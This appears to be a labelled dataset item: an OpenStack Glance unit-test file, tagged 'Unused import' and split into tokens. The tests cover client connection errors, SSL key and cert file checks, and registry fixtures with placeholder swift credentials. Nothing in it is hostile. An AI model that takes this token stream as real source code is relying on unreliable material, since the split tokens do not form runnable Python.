[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "vim", ":", " ", "tabs", "top", "=", "4", " ", "shift", "widt", "h", "=", "4", " ", "soft", "tabs", "top", "=", "4_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2010", "-", "2011", " ", "Open", "Stack", ",", " ", "LLC", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", " ", "you", " ", "may", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", ".", " ", "You", " ", "may", " ", "obtain", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",", " ", "WITH", "OUT_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", ".", " ", "See", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and", " ", "limit", "ations_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "stub", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "webob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "glance_", "import_", "client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "common_", "import_", "context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "common_", "import_", "exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "common_", "import_", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "registry_", "._", "db_", "import_", "api_", "as_", "db", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "registry_", "._", "db_", "import_", "models_", "as_", "db", "\\u", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "registry_", "import_", "client_", "as_", "rcli", "ent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "registry_", "import_", "context_", "as_", "rcon", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "tests_", "import_", "stubs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "tests_", "import_", "utils_", "as_", "test\\u", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glance_", "._", "tests_", "._", "unit_", "import_", "base_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CONF_", "=_", "{_", "'", "sql", "\\u", "connecti", "on", "'_", ":_", "'", "sql", "ite", "://'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "=_", "utils_", "._", "generat", "e\\u", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "1_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "UU", "ID", "2_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Ba", "d", "Client", "s_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "exception", "s", " ", "raise", "d", " ", "for", " ", "bad", " ", "clients", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Ba", "d", "Client", "s_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "bad", "\\u", "address_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "Client", "Connect", "ion", "Error", " ", "raise", "d", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "client_", "._", "Client_", "(_", "\"", "127", ".99", "9.1", ".1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Client", "Connect", "ion", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "._", "get", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Ba", "d", "Client", "s_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ssl", "\\u", "no", "\\u", "key", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "whe", "n", " ", "doi", "ng", " ", "SS", "L", " ", "connecti", "on", ",", " ", "a", " ", "key", " ", "file", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "require", "d", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "client_", "._", "Client_", "(_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "use", "\\u", "ssl_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exception_", "._", "Client", "Connect", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "Di", "d", " ", "not", " ", "raise", " ", "Client", "Connect", "ion", "Error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Ba", "d", "Client", "s_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ssl", "\\u", "non", "\\u", "exist", "ing", "\\u", "key", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "whe", "n", " ", "doi", "ng", " ", "SS", "L", " ", "connecti", "on", ",", " ", "a", " ", "key", " ", "file", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "require", "d", " ", "to", " ", "exist", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "client_", "._", "Client_", "(_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "use", "\\u", "ssl_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "key", "\\u", "file_", "=_", "'", "nonexist", "ing", "file", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exception_", "._", "Client", "Connect", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "Di", "d", " ", "not", " ", "raise", " ", "Client", "Connect", "ion", "Error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Ba", "d", "Client", "s_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ssl", "\\u", "no", "\\u", "cert", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "whe", "n", " ", "doi", "ng", " ", "SS", "L", " ", "connecti", "on", ",", " ", "a", " ", "cert", " ", "file", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "require", "d", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "tempfile_", "._", "Name", "d", "Tempora", "ry", "File_", "(_", ")_", "as_", "key", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "\\u", "file_", "._", "write_", "(_", "\"", "bog", "us", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "\\u", "file_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "client_", "._", "Client_", "(_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "use", "\\u", "ssl_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "key", "\\u", "file_", "=_", "key", "\\u", "file_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exception_", "._", "Client", "Connect", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "Di", "d", " ", "not", " ", "raise", " ", "Client", "Connect", "ion", "Error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Ba", "d", "Client", "s_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ssl", "\\u", "non", "\\u", "exist", "ing", "\\u", "cert", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "whe", "n", " ", "doi", "ng", " ", "SS", "L", " ", "connecti", "on", ",", " ", "a", " ", "cert", " ", "file", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "require", "d", " ", "to", " ", "exist", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "tempfile_", "._", "Name", "d", "Tempora", "ry", "File_", "(_", ")_", "as_", "key", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "\\u", "file_", "._", "write_", "(_", "\"", "bog", "us", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "\\u", "file_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "client_", "._", "Client_", "(_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "use", "\\u", "ssl_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "key", "\\u", "file_", "=_", "key", "\\u", "file_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "\\u", "file_", "=_", "'", "nonexist", "ing", "file", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exception_", "._", "Client", "Connect", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "Di", "d", " ", "not", " ", "raise", " ", "Client", "Connect", "ion", "Error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Ba", "d", "Client", "s_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ssl", "\\u", "option", "al", "\\u", "ca", "\\u", "file_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "whe", "n", " ", "doi", "ng", " ", "SS", "L", " ", "connecti", "on", ",", " ", "a", " ", "cert", " ", "file", " ", "and", " ", "key", " ", "file", " ", "are", "\\", "10", ";", " ", " ", " ", " ", "require", "d", " ", "to", " ", "exist", ",", " ", "but", " ", "a", " ", "CA", " ", "file", " ", "is", " ", "option", "al", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "tempfile_", "._", "Name", "d", "Tempora", "ry", "File_", "(_", ")_", "as_", "key", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "\\u", "file_", "._", "write_", "(_", "\"", "bog", "us", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "\\u", "file_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "tempfile_", "._", "Name", "d", "Tempora", "ry", "File_", "(_", ")_", "as_", "cert", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cert", "\\u", "file_", "._", "write_", "(_", "\"", "bog", "us", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cert", "\\u", "file_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "client_", "._", "Client_", "(_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "use", "\\u", "ssl_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "key", "\\u", "file_", "=_", "key", "\\u", "file_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cert", "\\u", "file_", "=_", "cert", "\\u", "file_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exception_", "._", "Client", "Connect", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Rai", "sed", " ", "Client", "Connect", "ion", "Error", " ", "whe", "n", " ", "it", " ", "shou", "ld", " ", "not", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "proper", " ", "action", "s", " ", "made", " ", "for", " ", "bot", "h", " ", "valid", " ", "and", " ", "invalid", " ", "request", "s", "\\", "10", ";", " ", " ", " ", " ", "against", " ", "a", " ", "Regi", "stry", " ", "service", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "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", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Esta", "blis", "h", " ", "a", " ", "clean", " ", "test", " ", "environ", "ment", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Test", "Regi", "stry", "Client_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "api_", "._", "configur", "e\\u", "db_", "(_", "self_", "._", "conf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "context_", "=_", "rcon", "text_", "._", "Request", "Context_", "(_", "is", "\\u", "admin_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "FIXTURE", "S_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "id", "'_", ":_", "UU", "ID", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d\\u", "at", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "13_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "swift", "://", "user", ":", "passw", "d", "@", "acct", "/", "container", "/", "obj", ".", "tar", ".0", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "type", "'_", ":_", "'", "kernel", "'_", "}_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d\\u", "at", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "}_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "destroy", "\\u", "fixtures_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "create", "\\u", "fixtures_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client_", "=_", "rcli", "ent_", "._", "Regi", "stry", "Client_", "(_", "\"", "0.", "0.", "0.", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Clear", " ", "the", " ", "test", " ", "environ", "ment", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Test", "Regi", "stry", "Client_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "destroy", "\\u", "fixtures_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "\\u", "fixtures_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "fixture_", "in_", "self_", "._", "FIXTURE", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "destroy", "\\u", "fixtures_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Eas", "ies", "t", " ", "to", " ", "just", " ", "drop", " ", "the", " ", "model", "s", " ", "and", " ", "re", "-", "create", " ", "them", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db", "\\u", "models_", "._", "unregister", "\\u", "models_", "(_", "db", "\\u", "api_", "._", "\\u", "ENGINE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "models_", "._", "register", "\\u", "models_", "(_", "db", "\\u", "api_", "._", "\\u", "ENGINE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Regi", "stry", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", 